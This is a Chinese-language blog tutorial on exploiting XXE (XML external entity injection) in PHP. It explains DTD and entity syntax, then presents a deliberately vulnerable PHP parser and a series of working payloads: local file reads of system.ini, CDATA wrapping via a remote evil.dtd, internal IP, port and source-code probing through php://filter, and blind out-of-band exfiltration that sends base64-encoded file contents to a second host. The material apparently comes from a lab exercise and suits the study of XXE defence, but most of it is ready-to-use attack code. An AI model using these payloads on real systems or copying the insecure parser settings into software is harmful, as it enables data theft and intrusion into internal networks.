zoukankan      html  css  js  c++  java
  • XXE漏洞利用详解

    一、概述

            XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。

            当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

            防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

    二、XML基础知识

    2.1XML基本结构

    DTD 的作用:1.定义元素(其实就是对应 XML 中的标签);

                              2.定义实体(对应XML 标签中的内容)

    假如 DTD 位于 XML 源文件的外部,那么可以通过引用【外部文档说明】的方式,效果同上:

    2.2两种外部文档说明(DTD)

       1、当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上"DTD的文件路径",如下:

        <!DOCTYPE 根元素 SYSTEM "DTD文件路径">

        2、如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:

        <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

    2.3四种实体声明(ENTITY)

    1.  内部实体声明

            <!ENTITY 实体名称 "实体的值"> 

    <!DOCTYPE foo [
    <!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]> <foo>&xxe;</foo>

    2.  外部实体声明

            <!ENTITY 实体名称 SYSTEM "URI/URL"> 

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE copyright [
    
    <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]>
    
    <reset>
    
    <login>&test;</login>
    
    <secret>login</secret>
    
    </reset>

            上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。

    3.  参数实体声明

            <!ENTITY % 实体名称 "实体的值"> 

            <!ENTITY % 实体名称 SYSTEM "URI/URL"> 

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE copyright [
    
    <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" >
    
    <!ENTITY xxe "%body;">
    
    ]>
    
    <reset>
    
    <secret>login</secret>
    
    </reset>

            参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用。

            允许包含外部实体,就可能存在XXE 攻击。

            外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

    4.  公共实体声明

            <!ENTITY 实体名称 PUBLIC "public_ID" "URI">

    三、XXE漏洞

    3.1实验一(有回显)

    测试demo:

    <?php
        libxml_disable_entity_loader (false);
    
                        //若为true,则表示禁用外部实体
                    
    
                    $xmlfile = file_get_contents('php://input');
    
                        //可以获取POST来的数据
                    
    
                    $dom = new DOMDocument();
    
                        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    
                        $creds = simplexml_import_dom($dom);
    
                        echo
                        $creds;
    ?> 

    【利用1】读取本地文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
    <creds>&goodies;</creds>

     【利用2】读取含特殊字符的本地文件

            如果文件中含有特殊字符,如&,<,>,",'等,通过上述方法会报错,需要借助CDATA,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///C:/phpStudy/WWW/zhan/XXE-K/test.txt">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil.dtd">
    %dtd; ]>
     
    
    <roottag>&all;</roottag>

    http://192.168.220.143:8888/zhan/XXE-K/evil.dtd:

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!ENTITY all "%start;%goodies;%end;">
    

    【利用3】内网ip探测

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144"> ]>
    <creds>&goodies;</creds>

            注:根据响应的时间的长短判断ip是否存在,可以通过burp重放遍历端口

    【利用4】内网端口探测

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144:22"> ]>
    <creds>&goodies;</creds>

            注:根据响应的时间的长短判断端口是否开放,可以通过burp重放遍历端口;如果有报错,可以直接探测出banner信息。

       

    【利用5】内网系统源码探测

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144/bWAPP/login.php"> ]>
    <creds>&goodies;</creds>

            注:审计源码,进一步发现内网系统漏洞(如sql注入),则可通过blind xxe进行注入

            其他:通过jar协议上传文件;通过ftp协议结合 CRLF 注入攻击SMTP服务器

    3.2实验二(无回显)

    测试demo:

    <?php
        libxml_disable_entity_loader (false);
    
                        //若为true,则表示禁用外部实体
                    
    
                    $xmlfile = file_get_contents('php://input');
    
                        //可以获取POST来的数据
                    
    
                    $dom = new DOMDocument();
    
                        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    ?>

    【利用1】外带数据读取文件

      <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd">
    %remote;%int;%send;
    ]>

    http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd:

    <?xml version="1.0" encoding="UTF-8"?>
    <!ENTITY % fileSYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.220.144:9999?p=%file;'>">

     本文来自地址:https://www.cnblogs.com/flokz/p/xxe.html

  • 相关阅读:
    Magento:Paypal付款不成功返回后不要清空购物车产品的解决方案
    magento设置订单状态
    linux下查看所有用户以及用户组
    网站无法访问的原因
    magento 多域名多店铺
    linode空间lamp环境的搭建
    hp p410固件更新
    tracert
    镜像架设
    nohup
  • 原文地址:https://www.cnblogs.com/sunny11/p/13617136.html
Copyright © 2011-2022 走看看